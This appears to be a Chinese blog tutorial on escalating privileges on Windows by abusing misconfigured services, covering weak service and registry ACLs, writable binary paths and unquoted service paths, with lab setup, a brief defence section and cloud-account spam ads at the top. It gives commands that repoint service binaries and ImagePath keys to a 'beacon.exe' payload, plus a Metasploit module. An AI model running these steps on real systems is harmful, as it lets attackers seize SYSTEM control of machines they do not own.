利用Windows系统服务进行权限提升
阿里云国内75折 回扣 微信号:monov8 |
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6 |
提权是后渗透重要的一环节如果当前获取的用户权限比较低那么我们将无法访问受保护的系统资源或执行系统管理操作影响后续的攻击过程。这要求我们通过各种手段将当前用户的权限进行提升以满足后续攻击的要求。
利用系统服务提权
通过情况下用户安装的一些应用软件会在本地注册一些服务并且大多数服务在计算机开机时以系统system权限启动。应用软件在注册服务时会在以下路径中创建相应的注册表项。
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
如下MySQLa服务注册表的信息其中的ImagePath键指向该系统服务所启动的二进制文件
windows系统服务在操作系统启动时运行并在后台调用相应的二进制文件。由于大多数系统服务时以系统权限sytem权限启动的如果让系统启动时执行其他程序该程序就可以随着服务的启动获得系统权限这是利用系统服务提权的主要思路。
系统服务提权从主观上可以归咎于用户的配置疏忽或操作失误如不安全的服务权限、服务注册表权限脆弱、服务路径权限可控、未引用的服务路径等。
不安全的服务权限
该方法是由于服务的管理配置错误导致本地普通用户对一些服务拥有过多的权限例如修改服务配置等。
可制作木马文件上传至服务器并将某服务的路径更改为木马文件服务启动则会执行恶意代码
ACL定义了安全对象的访问控制策略用于规定哪些主体对其拥有访问权限和拥有什么样的权限。windows的系统服务正是通过ACL来指定用户对其拥有的权限常见的权限如下表
权限 | 说明 |
SERVICE_START | 启动服务的权限 |
SERVICE_STOP | 停止服务的权限 |
SERVICE_PAUSE_CONTINUE | 暂停/继续运行服务的权限 |
SERVICE_QUERY_STATUS | 查询服务状态的权限 |
SERVICE_QUERY_CONFIG | 查询服务配置的权限 |
SERVICE_CHANGE_CONFIG | 更改服务配置的权限 |
SERVICE_ALL_ACCESS | 完全控制权限 |
假设目标主机的用户在配置服务时存在疏忽使得低权限用户对高权限下运行的系统服务拥有更改服务配置的权限SERVICE_CHANGE_CONFIG或SERVICE_ALL_ACCESS就可以通过这个低权限用户直接修改服务启动时的二进制文件路径。
在实战中AccessChk工具可以枚举目标主机上存在权限缺陷的系统服务。AccessChk是微软官方提供的管理工具常用来枚举或查看系统中指定用户、组队特定资源包括但不限于文件、文件夹、注册表、全局对象或系统服务等的访问权限。
环境搭建
先用本地管理员授予test用户对apache服务的完全控制权限参考https://www.yuque.com/chenchen-dqalz/qe15s1/er9olfttlz32sfyu
subinacl.exe /service apache /grant=test=F
此时就可以模拟管理员由于疏忽让低权限用户test对高权限下运行的系统服务拥有更改服务配置的权限这么一种情况
执行以下命令
普通用户test查看自身对哪些服务有更改配置的权限
accesschk.exe /accepteula test -uwcqv *
此时可以看到test用户对 "apache"服务拥有SERVICE_ALL_ACCESS权限
替换apache服务启动时的二进制文件为poc并重启系统或重启服务
sc config 服务名 binpath= "cmd.exe /k c:\beacon.exe"
服务注册表权限脆弱
windows的注册表中存储了每个系统服务的条目而注册表使用ACL来管理用户对其所拥有的访问权限。如果注册表的ACL配置错误使得一个低权限用户对服务的注册表拥有写入权限此时可以通过修改注册表来更改服务配置。例如修改注册表中的ImagePath键从而变更服务启动时的二进制文件路径。
环境配置
如下配置使得低权限用户对apache服务的注册表拥有写入权限
权限提升
切换到普通用户test执行如下通过AccessChk在目标主机中检查test用户是否对某个服务的注册表有写入权限
accesschk.exe /accepteula test -uvwqk HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
发现对apache服务的注册表拥有完全控制权限
将该服务的注册表中的ImagePath键指向预先上传的攻击载荷
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\apache /v ImagePath /t REG_EXPAND_SZ /d "cmd.exe /k c:\beacon.exe" /f
检查当前用户对该服务是否有重启权限
accesschk.exe /accepteula test -ucqv apache
可见没有重启该服务的权限
所以只能等待系统重启最终提权如下
服务路径权限可控
如果目标主机上用户存在错误配置或操作使得一个低权限的用户对此服务调用的二进制文件或其所在目录拥有写入权限那么可以直接将该文件替换成攻击载荷并随着服务的启动继承系统权限。
如下用AccessChk查看apache这个服务的二进制文件所在目录是否有写入权限
accesschk.exe /accepteula -quv "C:\phpStudy\PHPTutorial\Apache\bin"
如果有写入权限则可以替换服务的二进制文件过程略...
未引用的服务路径
未引用的服务路径曾被称为可信任的服务路径Trusted Service Paths利用了windows文件路径解析的特性。当服务启动所执行的二进制文件的路径中包含空格且没有用引号括起来就会导致该漏洞。
如果一个服务调用的可执行文件的路径没有被双引号引起来且路径带空格且当前用户又有写权限。这个漏洞就会被攻击者用来上传任意可执行文件。
漏洞原理
造成该漏洞的根本原因在于windows系统中用户创建进程的CreateProcess函数语法如下
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
其中lpApplicationName参数用户指定要执行的模块或应用程序的路径或文件名。如果完整路径中包含空格且未有效包含在引号中那么对于该路径中的每个空格windows会按照从左到右的顺序依次尝试寻找并执行与空格前的名字相匹配的程序。例如对于如下的路径
C:\Program Files\Vulnerable Service\Sub Directory\service.exe
系统依次寻找并执行如下的程序
C:\Program.exe
C:\Program Files\Vulnerable.exe
C:\Program Files\Vulnerable Service\Sub.exe
C:\Program Files\Vulnerable Service\Sub Directory\service.exe
注意当系统在依次尝试服务路径中的空格时会以当前服务所拥有的权限进行。因此测试人员可以将一个特殊命名的攻击载荷上传到受影响的目录中当重启服务时攻击载荷将随着服务的启动继承系统权限但前提是当前目录对受影响的目录具有写入权限。
漏洞环境设计
管理员打开cmd创建目录\test data\vuln\并创建名为vulns的服务服务的可执行文件路径包含空格且未被引号包裹
mkdir "C:\Program Files\wgy\test data\Vuln" && sc create "vulns" binpath= "C:\Program Files\wgy\test data\Vuln\file.exe" start= auto
如下服务的可执行文件路径包含空格且未被引号包裹
正常包含空格的路径是需要被引号包裹的
给\test data\目录授权普通用户可写的权限
这里漏洞环境就准备好了
权限提升
切换到普通用户test
枚举目标主机上存在该漏洞的系统服务
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
#-i 不区分大小写-v 打印不匹配的行
枚举出两个结果可见第二个服务vulns的路径是包含空格的所以其可能存在漏洞
查看是否有写入权限
发现\wgy\具有写入权限
accesschk.exe /accepteula -quv "c:\Program Files\" && accesschk.exe -quv "c:\Program Files\wgy\"
或者使用icacls查看
icacls "c:\Program Files" && icacls "c:\Program Files\wgy"
此时向"c:\Program Files\wgy\"目录上传一个名为test.exe的poc
copy beacon.exe "c:\Program Files\wgy\test.exe"
服务重启后系统会按照前文说过的顺序依次检查服务路径当检查到"c:\Program Files\wgy\test.exe"时攻击载荷将以system权限运行
防御
为了避免该类漏洞的影响在使用sc创建系统服务时应有效的对存在空格的服务路径使用引号包裹如下
sc create "vulns" binpath= "\"C:\Program Files\wgy\test data\Vuln\file.exe\"" start= auto
msf利用
可以使用msf发现未引用的服务路径漏洞。先获取一个低权限的session
use windows/local/unquoted_service_path
set session 1
set lport 5555
run
如下成功发现漏洞但是由于没有重启该服务的权限只能等待系统重启后才能执行攻击载荷